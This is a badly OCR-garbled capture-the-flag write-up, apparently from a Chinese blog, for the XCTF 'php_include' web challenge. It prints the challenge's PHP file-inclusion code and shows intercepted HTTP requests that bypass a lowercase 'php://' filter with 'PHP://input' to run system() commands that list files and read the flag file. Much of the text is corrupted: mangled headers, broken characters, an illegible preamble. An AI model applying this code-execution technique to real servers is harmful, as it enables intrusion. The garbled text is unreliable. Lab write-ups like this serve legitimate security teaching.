[ XCTFEF kB X 1 webd Web php_include writeup (—)

Mitch311 o F 2021-01-27 23:23:13 KA o 148 ﬁ' WL

FERLH: CIF XEHFE: FHH php java web python

FEALE . ASONE R RIS E, A8 CC 4.0 BY-SA FRALN, FHEGEM EESCH M A S .
A SCEERE:  hitps:/blog.csdn.net/Mitchell Donovan/article/details/113273404

FRAL

L CTF R R SRR

S1R3CE3ITH
ITREE

web4 Web php_include
JER O

key:php:/Ifh B +K /N5 Ge it

1 R LA AR O
XCTF&E F#tpr X web4 Web_ php_include writeup (=)
XCTFEF M X webd Web_php_include writeup (=)

XCTFEF M X web4_Web_php_include writeup (1)

OR T I Ja 2 — & phpREg 1

<?php

show_source(__FILE_ );

echo $_GET['hello'];

$page=$_GET[ 'page'];

while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);

}

include($page);

?>
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include. require. include_once. require_once. highlight_file. show_source. file_get_contents. fopen.
file. readline
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Request

Raw [ Params | Heacers | Hex | XML

Response

Raw [ Heacers | Hex

GET [Zpage=PHP: linput HTTPA 1

Host: 111.200.241.243:63037

User-Agert: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; rv:84.0) Gecko/20100101 Firefox/a4.0
Accept: textMtm, i Vhehtml+xml lication/xml;g=0.9,i P, a=0.6
Accept-Language: zh-CN zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0 .5 en-US;4=0.3 en,g=0 2
Accept-Encoding: gzip, deflate

Cannection: close

Upgrade-Insecure-Requests: 1

Contert-Length: 22

=7php system{’ls") 7=

T

Server: Apache/2 2.22 (Uburtu)
¥-Powered-By: PHP/S5.3.10-1uburtu3
Wary: Accept-Encoding
Contert-Length: 1553

Cannection: close

Contert-Type: text/html
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Request
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Response

Raw | Head

GET i2page=PHP: iinput HTTRI 1

Host: 111.200.241 243:63037

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84 0) Gecko/20100101 Firefox/84 0
Accept: textitmil, licationfxhtmi+xml lic:ati bg=0.9| R u=08
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US,q=0.3,em,q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests; 1

Cortert-Length: 42

S2php system("cat fldgisisish3r3 php") 7>
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HTTPA 1 200 OK

Date: Wed, 27 Jan 2021 15:15:47 GMT
Server: Apache/22.22 (Ubuntu)
¥-Powered-By: PHP/3.3.10-1ubuntu3
Vary: Accept-Encoding
Cortent-Length: 1572

Connection: close

Cortent-Type: texthim!
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